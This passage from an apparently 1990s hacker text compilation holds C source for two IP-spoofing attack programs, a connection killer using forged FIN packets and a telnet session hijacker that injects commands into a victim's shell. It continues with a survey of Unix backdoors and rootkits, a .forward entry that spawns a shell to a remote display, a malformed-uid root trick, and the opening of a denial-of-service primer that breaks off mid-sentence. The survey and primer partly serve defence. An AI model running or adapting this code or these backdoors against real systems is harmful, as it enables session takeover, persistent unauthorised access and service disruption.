mechanism. *\/ \/* Anyway if you only have ONE network device (slip, *\/ \/* ppp,... ) after a quick look at this code and spoofit.h *\/ \/* it will only take you a few secs to fix it... *\/ \/* People with a bit of C knowledge and well known with *\/ \/* their OS shouldn't have to much trouble to port the code.*\/ \/* If you do, I would love to get the results. *\/ \/* *\/ \/* Compiling - gcc -o sniper-fin sniper-fin.c *\/ \/* *\/ \/* Usage - Usage described in the spoofing article that came with this. *\/ \/* If you didn't get this, try to get the full release... *\/ \/* *\/ \/* See also - Sniffit (for getting the necessairy data on a connection) *\/ \/**************************************************************************\/ #include \"spoofit.h\" \/* Those 2 'defines' are important for putting the receiving device in *\/ \/* PROMISCUOUS mode *\/ #define INTERFACE \"eth0\" #define INTERFACE_PREFIX 14 char SOURCE[100],DEST[100]; int SOURCE_P,DEST_P; void main(int argc, char *argv[]) { int i,stat; int fd_send, fd_receive; unsigned long sp_ack, sp_seq; unsigned short flags; struct sp_wait_packet pinfo; if(argc != 5) { printf(\"usage: %s host1 port1 host2 port2\\n\",argv[0]); exit(0); } \/* preparing some work *\/ DEV_PREFIX = INTERFACE_PREFIX; strcpy(SOURCE,argv[1]); SOURCE_P=atoi(argv[2]); strcpy(DEST,argv[3]); DEST_P=atoi(argv[4]); \/* opening sending and receiving sockets *\/ fd_send = open_sending(); fd_receive = open_receiving(INTERFACE, IO_NONBLOCK); \/* nonblocking IO *\/ for(i=1;i<100;i++) { printf(\"Attack Sequence %d.\\n\",i); \/* Waiting for a packet containing an ACK *\/ stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,ACK,10); if(stat==-1) {printf(\"Connection 10 secs idle... timeout.\\n\");exit(1);} sp_seq=pinfo.ack; sp_ack=pinfo.seq+pinfo.datalen; \/* Sending our fake Packet *\/ transmit_TCP (fd_send, NULL,0,0,0,DEST,DEST_P,SOURCE,SOURCE_P,sp_seq,sp_ack,ACK|FIN); \/* waiting for confirmation *\/ stat=wait_packet(fd_receive,&pinfo,SOURCE,SOURCE_P,DEST,DEST_P,FIN,5); if(stat>=0) { printf(\"Killed the connection...\\n\"); exit(0); } printf(\"Hmmmm.... no response detected... (retry)\\n\"); } printf(\"I did not succeed in killing it.\\n\"); } ------------------------------------------------------------------------------ ---=[ hijack.c ]=------------------------------------------------------------- \/**************************************************************************\/ \/* Hijack - Example program on connection hijacking with IP spoofing *\/ \/* (illustration for 'A short overview of IP spoofing') *\/ \/* *\/ \/* Purpose - taking control of a running telnet session, and executing *\/ \/* our own command in that shell. *\/ \/* *\/ \/* Author - Brecht Claerhout <Coder@reptile.rug.ac.be> *\/ \/* Serious advice, comments, statements, greets, always welcome *\/ \/* flames, moronic 3l33t >\/dev\/null *\/ \/* *\/ \/* Disclaimer - This program is for educational purposes only. I am in *\/ \/* NO way responsible for what you do with this program, *\/ \/* or any damage you or this program causes. *\/ \/* *\/ \/* For whom - People with a little knowledge of TCP\/IP, C source code *\/ \/* and general UNIX. Otherwise, please keep your hands of, *\/ \/* and catch up on those things first. *\/ \/* *\/ \/* Limited to - Linux 1.3.X or higher. *\/ \/* ETHERNET support (\"eth0\" device) *\/ \/* If you network configuration differs it shouldn't be to *\/ \/* hard to modify yourself. I got it working on PPP too, *\/ \/* but I'm not including extra configuration possibilities *\/ \/* because this would overload this first release that is *\/ \/* only a demonstration of the mechanism. *\/ \/* Anyway if you only have ONE network device (slip, *\/ \/* ppp,... ) after a quick look at this code and spoofit.h *\/ \/* it will only take you a few secs to fix it... *\/ \/* People with a bit of C knowledge and well known with *\/ \/* their OS shouldn't have to much trouble to port the code.*\/ \/* If you do, I would love to get the results. *\/ \/* *\/ \/* Compiling - gcc -o hijack hijack.c *\/ \/* *\/ \/* Usage - Usage described in the spoofing article that came with this. *\/ \/* If you didn't get this, try to get the full release... *\/ \/* *\/ \/* See also - Sniffit (for getting the necessairy data on a connection) *\/ \/**************************************************************************\/ #include \"spoofit.h\" \/* My spoofing include.... read licence on this *\/ \/* Those 2 'defines' are important for putting the receiving device in *\/ \/* PROMISCUOUS mode *\/ #define INTERFACE \"eth0\" \/* first ethernet device *\/ #define INTERFACE_PREFIX 14 \/* 14 bytes is an ethernet header *\/ #define PERSONAL_TOUCH 666 int fd_receive, fd_send; char CLIENT[100],SERVER[100]; int CLIENT_P; void main(int argc, char *argv[]) { int i,j,count; struct sp_wait_packet attack_info; unsigned long sp_seq ,sp_ack; unsigned long old_seq ,old_ack; unsigned long serv_seq ,serv_ack; \/* This data used to clean up the shell line *\/ char to_data[]={0x08, 0x08,0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x0a, 0x0a}; char evil_data[]=\"echo \\\"echo HACKED\\\" >>$HOME\/.profile\\n\";\n\nif(argc!=4)\n{\nprintf(\"Usage: %s client client_port server\\n\",argv[0]);\nexit(1);\n}\nstrcpy(CLIENT,argv[1]);\nCLIENT_P=atoi(argv[2]);\nstrcpy(SERVER,argv[3]);\n\n\/* preparing all necessary sockets (sending + receiving) *\/\nDEV_PREFIX = INTERFACE_PREFIX;\nfd_send = open_sending();\nfd_receive = open_receiving(INTERFACE, 0); \/* normal BLOCKING mode *\/\n\nprintf(\"Starting Hijacking demo - Brecht Claerhout 1996\\n\");\nprintf(\"-----------------------------------------------\\n\");\n\nfor(j=0;j<50;j++)\n{\nprintf(\"\\nTakeover phase 1: Stealing connection.\\n\");\nsp_seq=attack_info.seq+attack_info.datalen;\nsp_ack=attack_info.ack;\nprintf(\" Sending Spoofed clean-up data...\\n\");\ntransmit_TCP(fd_send, to_data,0,0,sizeof(to_data),CLIENT, CLIENT_P, SERVER,23,\nsp_seq,sp_ack,ACK|PSH);\n\/* NOTE: always beware you receive y'r OWN spoofed packs! *\/\n\/* so handle it if necessary *\/\ncount=0;\nprintf(\" Waiting for spoof to be confirmed...\\n\");\nwhile(count<5)\n{\nif(attack_info.ack==sp_seq+sizeof(to_data))\ncount=PERSONAL_TOUCH;\nelse count++;\n};\nif(count!=PERSONAL_TOUCH)\n{printf(\"Phase 1 unsuccesfully ended.\\n\");}\nelse {printf(\"Phase 1 ended.\\n\"); break;};\n};\n\nprintf(\"\\nTakeover phase 2: Getting on track with SEQ\/ACK's again\\n\");\ncount=serv_seq=old_ack=0;\nwhile(count<10)\n{\nold_seq=serv_seq;\nold_ack=serv_ack;\nif(attack_info.datalen==0)\n{\nserv_seq=attack_info.seq+attack_info.datalen;\nserv_ack=attack_info.ack;\nif( (old_seq==serv_seq)&&(serv_ack==old_ack) )\ncount=PERSONAL_TOUCH;\nelse count++;\n}\n};\nif(count!=PERSONAL_TOUCH)\n{printf(\"Phase 2 unsuccesfully ended.\\n\"); exit(0);}\nprintf(\" Server SEQ: %X (hex) ACK: %X (hex)\\n\",serv_seq,serv_ack);\nprintf(\"Phase 2 ended.\\n\");\n\nprintf(\"\\nTakeover phase 3: Sending MY data.\\n\");\nprintf(\" Sending evil data.\\n\");\ntransmit_TCP(fd_send, evil_data,0,0,sizeof(evil_data),CLIENT,CLIENT_P,\nSERVER,23,serv_ack,serv_seq,ACK|PSH);\ncount=0;\nprintf(\" Waiting for evil data to be confirmed...\\n\");\nwhile(count<5)\n{\nif(attack_info.ack==serv_ack+sizeof(evil_data))\ncount=PERSONAL_TOUCH;\nelse count++;\n};\nif(count!=PERSONAL_TOUCH)\n{printf(\"Phase 3 unsuccesfully ended.\\n\"); exit(0);}\nprintf(\"Phase 3 ended.\\n\");\n\n}\n\n------------------------------------------------------------------------------\n\n___________________________________________________________________________\n\n3. Part 3:\n\nBack Doors:\n\nBackdoors\n\nBy Christopher Klaus 8\/4\/97\n\nSince the early days of intruders breaking into computers, they have tried\nto develop techniques or backdoors that allow them to get back into the\nsystem. In this paper, it will be focused on many of the common backdoors\nand possible ways to check for them. Most of focus will be on Unix\nbackdoors with some discussion on future Windows NT backdoors. This will\ndescribe the complexity of the issues in trying to determine the methods\nthat intruders use and the basis for administrators understanding on how\nthey might be able to stop the intruders from getting back in. When an\nadministrator understands how difficult it would be to stop intruder once\nthey are in, the appreciation of being proactive to block the intruder from\never getting in becomes better understood. This is intended to cover many\nof the popular commonly used backdoors by beginner and advanced intruders.\nThis is not intended to cover every possible way to create a backdoor as\nthe possibilities are limitless.\n\nThe backdoor for most intruders provide two or three main functions:\n\nBe able to get back into a machine even if the administrator tries to\nsecure it, e.g., changing all the passwords.\n\nBe able to get back into the machine with the least amount of visibility.\nMost backdoors provide a way to avoid being logged and many times the\nmachine can appear to have no one online even while an intruder is using\nit.\n\nBe able to get back into the machine with the least amount of time. Most\nintruders want to easily get back into the machine without having to do all\nthe work of exploiting a hole to gain access.\n\nIn some cases, if the intruder may think the administrator may detect any\ninstalled backdoor, they will resort to using the vulnerability repeatedly\nto get on a machine as the only backdoor. Thus not touching anything that\nmay tip off the administrator. Therefore in some cases, the\nvulnerabilities on a machine remain the only unnoticed backdoor.\n\nOne of the first and oldest methods of intruders used to gain not only\nuncovers weak passworded accounts. All these new accounts are now possible\nbackdoors into a machine even if the system administrator locks out the\nintruder's current account. Many times, the intruder will look for unused\naccounts, the accounts with modified passwords will not appear. Thus the\nadministrator will not be able to easily determine which accounts to lock\nout.\n\nRhosts + + Backdoor\n\nOn networked Unix machines, services like Rsh and Rlogin used a simple\nauthentication method based on hostnames that appear in rhosts. A user\ncould easily configure which machines not to require a password to log\ninto. An intruder that gained access to someone's rhosts file could put a\n\"+ +\" in the file and that would allow anyone from anywhere to log into\nthat account without a password. Many intruders use this method especially\nwhen NFS is exporting home directories to the world. These accounts\nbecome backdoors for intruders to get back into the system. Many intruders\nprefer using Rsh over Rlogin because it is many times lacking any logging\ncapability. Many administrators check for \"+ +\" therefore an intruder may\nactually put in a hostname and username from another compromised account on\nthe network, making it less obvious to spot.\n\nChecksum and Timestamp Backdoors\n\nEarly on, many intruders replaced binaries with their own trojan versions.\nMany system administrators relied on time-stamping and the system checksum\nprograms, e.g., Unix's sum program, to try to determine when a binary file\nhas been modified. Intruders have developed technology that will recreate\nthe same time-stamp for the trojan file as the original file. This is\naccomplished by setting the system clock time back to the original file's\ntime and then adjusting the trojan file's time to the system clock. Once\nthe binary trojan file has the exact same time as the original, the system\nclock is reset to the current time. The sum program relies on a CRC\nchecksum and is easily spoofed. Intruders have developed programs that\nwould modify the trojan binary to have the necessary original checksum,\nthus fooling the administrators. MD5 checksums is the recommended choice\nto use today by most vendors. MD5 is based on an algorithm that no one has\nyet to date proven can be spoofed.\n\nOn Unix, the login program is the software that usually does the password\nauthentication when someone telnets to the machine. Intruders grabbed the\nsource code to login.c and modified it that when login compared the user's\npassword with the stored password, it would first check for a backdoor\npassword. If the user typed in the backdoor password, it would allow you to\nthis allowed the intruder to log into any account, even root. The\npassword backdoor would spawn access before the user actually logged in and\nappeared in utmp and wtmp. Therefore an intruder could be logged in and\nhave shell access without it appearing anyone is on that machine as that\naccount. Administrators started noticing these backdoors especially if\nthey did a \"strings\" command to find what text was in the login program.\nMany times the backdoor password would show up. The intruders then\nencrypted or hid the backdoor password better so it would not appear by\njust doing strings. Many of the administrators can detect these backdoors\nwith MD5 checksums.\n\nTelnetd Backdoor\n\nWhen a user telnets to the machine, inetd service listens on the port and\nreceive the connection and then passes it to in.telnetd, that then runs\nprogram for tampering, so they modified in.telnetd. Within in.telnetd, it\ndoes several checks from the user for things like what kind of terminal the\nuser was using. Typically, the terminal setting might be Xterm or VT100.\nAn intruder could backdoor it so that when the terminal was set to\n\"letmein\", it would spawn a shell without requiring any authentication.\nIntruders have backdoored some services so that any connection from a\nspecific source port can spawn a shell.\n\nServices Backdoor\n\nAlmost every network service has at one time been backdoored by an\nintruder. Backdoored versions of finger, rsh, rexec, rlogin, ftp, even\ninetd, etc., have been floating around forever. There are programs that\nare nothing more than a shell connected to a TCP port with maybe a backdoor\npassword to gain access. These programs sometimes replace a service like\nuucp that never gets used or they get added to the inetd.conf file as a new\nservice. Administrators should be very wary of what services are running\nand analyze the original services by MD5 checksums.\n\nCronjob backdoor\n\nCronjob on Unix schedules when certain programs should be run. An intruder\ncould add a backdoor shell program to run between 1 AM and 2 AM. So for 1\nhour every night, the intruder could gain access. Intruders have also\nlooked at legitimate programs that typically run in cronjob and built\nbackdoors into those programs as well.\n\nLibrary backdoors\n\nAlmost every UNIX system uses shared libraries. The shared libraries are\nintended to reuse many of the same routines thus cutting down on the size\nof programs. Some intruders have backdoored some of the routines like\ncrypt.c and _crypt.c. Programs like login.c would use the crypt() routine\nand if a backdoor password was used it would spawn a shell. Therefore,\neven if the administrator was checking the MD5 of the login program, it was\nstill spawning a backdoor routine and many administrators were not checking\nthe libraries as a possible source of backdoors.\n\nOne problem for many intruders was that some administrators started MD5\nchecksums of almost everything. One method intruders used to get around\nthat is to backdoor the open() and file access routines. The backdoor\nroutines were configured to read the original files, but execute the trojan\nbackdoors. Therefore, when the MD5 checksum program was reading these\nfiles, the checksums always looked good. But when the system ran the\nprogram, it executed the trojan version. Even the trojan library itself,\ncould be hidden from the MD5 checksums. One way to an administrator could\nget around this backdoor was to statically link the MD5 checksum checker\nand run on the system. The statically linked program does not use the\ntrojan shared libraries.\n\nKernel backdoors\n\nThe kernel on Unix is the core of how Unix works. The same method used for\nlibraries for bypassing MD5 checksum could be used at the kernel level,\nexcept even a statically linked program could not tell the difference. A\ngood backdoored kernel is probably one of the hardest to find by\nadministrators, fortunately kernel backdoor scripts have not yet been\nwidely made available and no one knows how wide spread they really are.\n\nFile system backdoors\n\nAn intruder may want to store their loot or data on a server somewhere\nwithout the administrator finding the files. The intruder's files can\ntypically contain their toolbox of exploit scripts, backdoors, sniffer\nlogs, copied data like email messages, source code, etc. To hide these\nsometimes large files from an administrator, an intruder may patch the\nfiles system commands like \"ls\", \"du\", and \"fsck\" to hide the existence of\ncertain directories or files. At a very low level, one intruder's backdoor\ncreated a section on the hard drive to have a proprietary format that was\ndesignated as \"bad\" sectors on the hard drive. Thus an intruder could\naccess those hidden files with only special tools, but to the regular\nsectors were indeed storage area for the hidden file system.\n\nBootblock backdoors\n\nIn the PC world, many viruses have hid themselves within the bootblock\nsection and most antivirus software will check to see if the bootblock has\nbeen altered. On Unix, most administrators do not have any software that\nchecks the bootblock, therefore some intruders have hidden some backdoors\nin the bootblock area.\n\nProcess hiding backdoors\n\nAn intruder many times wants to hide the programs they are running. The\nprograms they want to hide are commonly a password cracker or a sniffer.\nThere are quite a few methods and here are some of the more common:\n\nAn intruder may write the program to modify its own argv[] to make it look\nlike another process name.\n\nAn intruder could rename the sniffer program to a legitimate service like\nin.syslog and run it. Thus when an administrator does a \"ps\" or looks at\nwhat is running, the standard service names appear.\n\nAn intruder could modify the library routines so that \"ps\" does not show\nall the processes.\n\nAn intruder could patch a backdoor or program into an interrupt driven\nroutine so it does not appear in the process table. An example backdoor\nusing this technique is amod.tar.gz available on\nhttp:\/\/star.niimm.spb.su\/~maillist\/bugtraq.1\/0777.html\n\nAn intruder could modify the kernel to hide certain processes as well.\n\nRootkit\n\nOne of the most popular packages to install backdoors is rootkit. It can\neasily be located using Web search engines. From the Rootkit README, here\nare the typical files that get installed:\n\nz2 - removes entries from utmp, wtmp, and lastlog.\nEs - rokstar's ethernet sniffer for sun4 based kernels.\nFix - try to fake checksums, install with same dates\/perms\/u\/g.\nIc - modified ifconfig to remove PROMISC flag from output.\nps: - hides the processes.\nNs - modified netstat to hide connections to certain machines.\nLs - hides certain directories and files from being listed.\ndu5 - hides how much space is being used on your hard drive.\nls5 - hides certain files and directories from being listed.\n\nNetwork traffic backdoors\n\nNot only do intruders want to hide their tracks on the machine, but also\nthey want to hide their network traffic as much as possible. These network\ntraffic backdoors sometimes allow an intruder to gain access through a\nfirewall. There are many network backdoor programs that allow an intruder\nto set up on a certain port number on a machine that will allow access\nwithout ever going through the normal services. Because the traffic is\ngoing to a non-standard network port, the administrator can overlook the\nintruder's traffic. These network traffic backdoors are typically using\nTCP, UDP, and ICMP, but it could be many other kinds of packets.\n\nTCP Shell Backdoors\n\nThe intruder can set up these TCP Shell backdoors on some high port number\npossibly where the firewall is not blocking that TCP port. Many times,\nthey will be protected with a password just so that an administrator that\nconnects to it, will not immediately see shell access. An administrator\ncan look for these connections with netstat to see what ports are listening\nand where current connections are going to and from. Many times, these\nbackdoors allow an intruder to get past TCP Wrapper technology. These\nbackdoors could be run on the SMTP port, which many firewalls allow traffic\nto pass for e-mail.\n\nUDP Shell Backdoors\n\nAdministrator many times can spot a TCP connection and notice the odd\nbehavior, while UDP shell backdoors lack any connection so netstat would\nnot show an intruder accessing the Unix machine. Many firewalls have been\nconfigured to allow UDP packets for services like DNS through. Many times,\nintruders will place the UDP Shell backdoor on that port and it will be\nallowed to by-pass the firewall.\n\nICMP Shell Backdoors\n\nPing is one of the most common ways to find out if a machine is alive by\nsending and receiving ICMP packets. Many firewalls allow outsiders to ping\ninternal machines. An intruder can put data in the Ping ICMP packets and\ntunnel a shell between the pinging machines. An administrator may notice a\nflurry of Ping packets, but unless the administrator looks at the data in\nthe packets, an intruder can be unnoticed.\n\nAn administrator can set up a sniffer trying to see data appears as someone\naccessing a shell, but an intruder can add encryption to the Network\ntraffic backdoors and it becomes almost impossible to determine what is\nactually being transmitted between two machines.\n\nWindows NT\n\nBecause Windows NT does not easily allow multiple users on a single machine\nand remote access similar as Unix, it becomes harder for the intruder to\nbreak into Windows NT, install a backdoor, and launch an attack from it.\nThus you will find more frequently network attacks that are spring boarded\nfrom a Unix box than Windows NT. As Windows NT advances in multi-user\ntechnologies, this may give a higher frequency of intruders who use Windows\nNT to their advantage. And if this does happen, many of the concepts from\nUnix backdoors can be ported to Windows NT and administrators can be ready\nfor the intruder. Today, there are already telnet daemons available for\nWindows NT. With Network Traffic backdoors, they are very feasible for\nintruders to install on Windows NT.\n\nSolutions\n\nto determine if an intruder has gotten in or if they have been successfully\nlocked out.\n\nAssessment\n\nOne of the first steps in being proactive is to assess how vulnerable your\nnetwork is, thus being able to figure out what holes exist that should be\nfixed. Many commercial tools exist to help scan and audit the network and\nsystems for vulnerabilities. Many companies could dramatically improve\ntheir security if they only installed the security patches made freely\navailable by their vendors.\n\nMD5 Baselines\n\nOne necessary component of a system scanner is MD5 checksum baselines.\nThis MD5 baseline should be built up before a hacker attack with clean\nsystems. Once a hacker is in and has installed backdoors, trying to create\na baseline after the fact could incorporate the backdoors into the\ntheir systems for many months. Overtime, all the backups of the systems\ncontained the backdoors. When some of these companies found out they had\na hacker, they restored a backup in hopes of removing any backdoors. The\neffort was futile since they were restoring all the files, even the\nbackdoored ones. The binary baseline comparison needs to be done before an\nattack happens.\n\nIntrusion detection\n\nIntrusion detection is becoming more important as organizations are hooking\nup and allowing connections to some of their machines. Most of the older\nintrusion detection technology was log-based events. The latest intrusion\ndetection system (IDS) technology is based on real-time sniffing and\nnetwork traffic security analysis. Many of the network traffic backdoors\ncan now easily be detected. The latest IDS technology can take a look at\nthe DNS UDP packets and determine if it matches the DNS protocol requests.\nIf the data on the DNS port does not match the DNS protocol, an alert flag\ncan be signaled and the data captured for further analysis. The same\nprinciple can be applied to the data in an ICMP packet to see if it is the\nnormal ping data or if it is carrying encrypted shell session.\n\nBoot from CD-ROM.\n\nSome administrators may want to consider booting from CD-ROM thus\neliminating the possibility of an intruder installing a backdoor on the\nCD-ROM. The problem with this method is the cost and time of implementing\nthis solution enterprise wide.\n\nVigilant\n\nBecause the security field is changing so fast, with new vulnerabilities\nbeing announced daily and intruders are constantly designing new attack and\nbackdoor techniques, no security technology is effective without vigilance.\n\nBe aware that no defense is foolproof, and that there is no substitute for\ndiligent attention.\n\n-------------------------------------------------------------------------\n\n.forward Backdoor\n\nOn Unix machines, placing commands into the .forward file was also\na common method of regaining access. For the account username''\na .forward file might be constructed as follows:\n\n|\"\/usr\/local\/X11\/bin\/xterm -disp hacksys.other.dom:0.0 -e \/bin\/sh\"\n\npermutations of this method include alteration of the systems mail\naliases file (most commonly located at \/etc\/aliases). Note that\nthis is a simple permutation, the more advanced can run a simple\nscript from the forward file that can take arbitrary commands via\nstdin (after minor preprocessing).\n\nPS: The above method is also useful gaining access a companies\nmailhub (assuming there is a shared a home directory FS on\nthe client and server).\n\n> Using smrsh can effectively negate this backdoor (although it's quite\n> possibly still a problem if you allow things like elm's filter or\n> procmail which can run programs themselves...).\n\n---------------------------------------------------------------------------\n\nyou may want to add this \"feature\" that can act as a backdoor:\n\nwhen specifying a wrong uid\/gid in the \/etc\/password file,\nmost login(1) implementations will fail to detect the wrong\nuid\/gid and atoi(3) will set uid\/gid to 0, giving superuser\nprivileges.\n\nexample:\nrmartin:x:x50:50:R. Martin:\/home\/rmartin:\/bin\/tcsh\non Linux boxes, this will give uid 0 to user rmartin.\n\n___________________________________________________________________________\n\nAn intro to DOS attacks:\n\n===================================\n=INTRODUCTION TO DENIAL OF SERVICE=\n===================================\n\nHans Husman\nt95hhu@student.tdb.uu.se\nLast updated: Mon Oct 28 14:56:31 MET 1996\n\n.0. FOREWORD\n\n.A. INTRODUCTION\n.A.1. WHAT IS A DENIAL OF SERVICE ATTACK?\n.A.2. WHY WOULD SOMEONE CRASH A SYSTEM?\n.A.2.1. INTRODUCTION\n.A.2.2. SUB-CULTURAL STATUS\n.A.2.3. TO GAIN ACCESS\n.A.2.4. REVENGE\n.A.2.5. POLITICAL REASONS\n.A.2.6. ECONOMICAL REASONS\n.A.2.7. NASTINESS\n.A.3. ARE SOME OPERATING SYSTEMS MORE SECURE?\n\n.B. SOME BASIC TARGETS FOR AN ATTACK\n.B.1. SWAP SPACE\n.B.2. BANDWIDTH\n.B.3. KERNEL TABLES\n.B.4. RAM\n.B.5. DISKS\n.B.6. CACHES\n.B.7. INETD\n\n.C. ATTACKING FROM THE OUTSIDE\n.C.2. UDP AND SUNOS 4.1.3.\n.C.3. FREEZING UP X-WINDOWS\n.C.4. MALICIOUS USE OF UDP SERVICES\n.C.5. ATTACKING WITH LYNX CLIENTS\n.C.6. MALICIOUS USE OF telnet\n.C.7. MALICIOUS USE OF telnet UNDER SOLARIS 2.4\n.C.8. HOW TO DISABLE ACCOUNTS\n.C.9. LINUX AND TCP TIME, DAYTIME\n.C.10. HOW TO DISABLE SERVICES\n.C.11. PARAGON OS BETA R1.4\n.C.12. NOVELLS NETWARE FTP\n.C.13. ICMP REDIRECT ATTACKS\n.C.15. EMAIL BOMBING AND SPAMMING\n.C.16. TIME AND KERBEROS\n.C.17. THE DOT DOT BUG\n.C.18. SUNOS KERNEL PANIC\n.C.19. HOSTILE APPLETS\n.C.20. VIRUS\n.C.21. ANONYMOUS FTP ABUSE\n.C.22. SYN FLOODING\n.C.23. PING FLOODING\n.C.24. CRASHING SYSTEMS WITH PING FROM WINDOWS 95 MACHINES\n.C.26. FLEXlm\n.C.27. BOOTING WITH TRIVIAL FTP\n\n.D. ATTACKING FROM THE INSIDE\n.D.1. KERNEL PANIC UNDER SOLARIS 2.3\n.D.2. CRASHING THE X-SERVER\n.D.3. FILLING UP THE HARD DISK\n.D.4. MALICIOUS USE OF eval\n.D.5. MALICIOUS USE OF fork()\n.D.6. CREATING FILES THAT IS HARD TO REMOVE\n.D.7. DIRECTORY NAME LOOKUPCACHE\n.D.8. CSH ATTACK\n.D.9. CREATING FILES IN \/tmp\n.D.10. USING RESOLV_HOST_CONF\n.D.11. SUN 4.X AND BACKGROUND JOBS\n.D.12. CRASHING DG\/UX WITH ULIMIT\n.D.13. NETTUNE AND HP-UX\n.D.14. SOLARIS 2.X AND NFS\n.D.15. SYSTEM STABILITY COMPROMISE VIA MOUNT_UNION\n.D.16. trap_mon CAUSES KERNEL PANIC UNDER SUNOS 4.1.X\n\n.E. DUMPING CORE\n.E.1. SHORT COMMENT\n.E.2. MALICIOUS USE OF NETSCAPE\n.E.3. CORE DUMPED UNDER WUFTPD\n.E.4. ld UNDER SOLARIS\/X86\n\n.F. HOW DO I PROTECT A SYSTEM AGAINST DENIAL OF SERVICE ATTACKS?\n.F.1. BASIC SECURITY PROTECTION\n.F.1.1. INTRODUCTION\n.F.1.2. PORT SCANNING\n.F.1.3. CHECK THE OUTSIDE ATTACKS DESCRIBED IN THIS PAPER\n.F.1.4. CHECK THE INSIDE ATTACKS DESCRIBED IN THIS PAPER\n.F.1.5. EXTRA SECURITY SYSTEMS\n.F.1.6. MONITORING SECURITY\n.F.1.7. KEEPING UP TO DATE\n.F.2. MONITORING PERFORMANCE\n.F.2.1. INTRODUCTION\n.F.2.2. COMMANDS AND SERVICES\n.F.2.3. PROGRAMS\n.F.2.4. ACCOUNTING\n\n.G.1. INFORMATION FOR DEEPER KNOWLEDGE\n.G.2. KEEPING UP TO DATE INFORMATION\n.G.3. BASIC INFORMATION\n\n.I. DISCLAIMER\n\n.0. FOREWORD\n------------\n\nIn this paper I have tried to answer the following questions:\n\n- What is a denial of service attack?\n- Why would someone crash a system?\n- How can someone crash a system.\n- How do I protect a system against denial of service attacks?\n\nI also have a section called SUGGESTED READING were you can find\ninformation about good free information that can give you a deeper\n\nNote that I have a very limited experience with Macintosh, OS\/2 and\nWindows and most of the material are therefore for Unix use.\n\nhttp:\/\/www.student.tdb.uu.se\/~t95hhu...ial\/DENIAL.TXT\n\nt95hhu@student.tdb.uu.se\n\n.A. INTRODUCTION\n~~~~~~~~~~~~~~~~\n\n.A.1. WHAT IS A DENIAL OF SERVICE ATTACK?\n-----------------------------------------\n\nDenial of service is about without permission knocking off\nservices, for example through crashing the whole system. This\nkind of attacks are easy to launch and it is hard to protect\na system against them. The basic problem is that Unix\nassumes that users on the system or on other systems will be\nwell behaved.\n\n.A.2. WHY WOULD SOMEONE CRASH A SYSTEM?\n---------------------------------------\n\n.A.2.1. INTRODUCTION\n--------------------\n\nWhy would someone crash a system? I can think of several reasons\nthat I have presentated more precisely in a section for each reason,\nbut for short:\n\n.1. Sub-cultural status.\n.2. To gain access.\n.3. Revenge.\n.4. Political reasons.\n.5. Economical reasons.\n.6. Nastiness.\n\nI think that number one and six are the more common today, but that\nnumber four and five will be the more common ones in the future.\n\n.A.2.2. SUB-CULTURAL STATUS\n---------------------------\n\nAfter all information about syn flooding a bunch of such attacks\nwere launched around Sweden. The very most of these attacks were\nnot a part of a IP-spoof attack, it was \"only\" a denial of service\nattack. Why?\n\nI think that hackers attack systems as a sub-cultural pseudo career\nand I think that many denial of service attacks, and here in the\nexample syn flooding, were performed for these reasons. I also think\nthat many hackers begin their carrer with denial of service attacks.\n\n.A.2.3. TO GAIN ACCESS\n----------------------\n\nSometimes could a denial of service attack be a part of an attack to\ngain access at a system. At the moment I can think of these reasons\nand specific holes:\n\n.1. Some older X-lock versions could be crashed with a\nmethod from the denial of service family leaving the system\nopen. Physical access was needed to use the work space after.\n\n.2. Syn flooding could be a part of a IP-spoof attack method.\n\n.3. Some program systems could have holes under the startup,\nthat could be used to gain root, for example SSH (secure shell).\n\n.4. Under an attack it could be usable to crash other machines\nin the network or to deny certain persons the ability to access\nthe system.\n\n.5. Also could a system being booted sometimes be subverted,\nespecially rarp-boots. If we know which port the machine listen\nto (69 could be a good guess) under the boot we can send false\npackets to it and almost totally control the boot.\n\n.A.2.4. REVENGE\n---------------\n\nA denial of service attack could be a part of a revenge against a user\n\n.A.2.5. POLITICAL REASONS\n-------------------------\n\nSooner or later will new or old organizations understand the potential\nof destroying computer systems and find tools to do it.\n\nFor example imaginate the Bank A loaning company B money to build a\nfactory threating the environment. The organization C therefor crash A:s\ncomputer system, maybe with help from an employee. The attack could cost\nA a great deal of money if the timing is right.\n\n.A.2.6. ECONOMICAL REASONS\n--------------------------\n\nImaginate the small company A moving into a business totally dominated by\ncompany B. A and B customers make the orders by computers and depends\nheavily on that the order is done in a specific time (A and B could be\nstock trading companies). If A and B can't perform the order the customers\nlose money and change company.\n\nAs a part of a business strategy A pays a computer expert a sum of money to\nget him to crash B:s computer systems a number of times. A year later A\nis the dominating company.\n\n.A.2.7. NASTINESS\n-----------------\n\nI know a person that found a workstation where the user had forgotten to\nlogout. He sat down and wrote a program that made a kill -9 -1 at a\nrandom time at least 30 minutes after the login time and placed a call to\nthe program from the profile file. That is nastiness.\n\n.A.3. ARE SOME OPERATING SYSTEMS MORE SECURE?\n---------------------------------------------\n\nThis is a hard question to answer and I don't think that it will\ngive anything to compare different Unix platforms. You can't say that\none Unix is more secure against denial of service, it is all up to the\n\nA comparison between Windows 95 and NT on one side and Unix on the\nother could however be interesting.\n\nUnix systems are much more complex and have hundreds of built in programs,\nservices... This always open up many ways to crash the system from\nthe inside.\n\nIn the normal Windows NT and 95 network were is few ways to crash\nthe system. Although were is methods that always will work.\n\nThat gives us that no big different between Microsoft and Unix can\nbe seen regardning the inside attacks. But there is a couple of\npoints left:\n\n- Unix have much more tools and programs to discover an\nattack and monitoring the users. To watch what another user\nis up to under windows is very hard.\n\n- The average Unix administrator probably also have much more\nexperience than the average Microsoft administrator.\n\nThe two last points gives that Unix is more secure against inside\ndenial of service attacks.\n\nA comparison between Microsoft and Unix regarding outside attacks\nare much more difficult. However I would like to say that the average\nMicrosoft system on the Internet are more secure against outside\nattacks, because they normally have much less services.\n\n.B. SOME BASIC TARGETS FOR AN ATTACK\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n.B.1. SWAP SPACE\n----------------\n\nMost systems have several hundred Mbytes of swap space to\nservice client requests. The swap space is typical used\nfor forked child processes which have a short life time.\nThe swap space will therefore almost never in a normal\ncause be used heavily. A denial of service could be based\non a method that tries to fill up the swap space.\n\n.B.2. BANDWIDTH\n---------------\n\nIf the bandwidth is to high the network will be useless. Most\ndenial of service attack influence the bandwidth in some way.\n\n.B.3. KERNEL TABLES\n-------------------\n\nIt is trivial to overflow the kernel tables which will cause\nserious problems on the system. Systems with write through\ncaches and small write buffers is especially sensitive.\n\nKernel memory 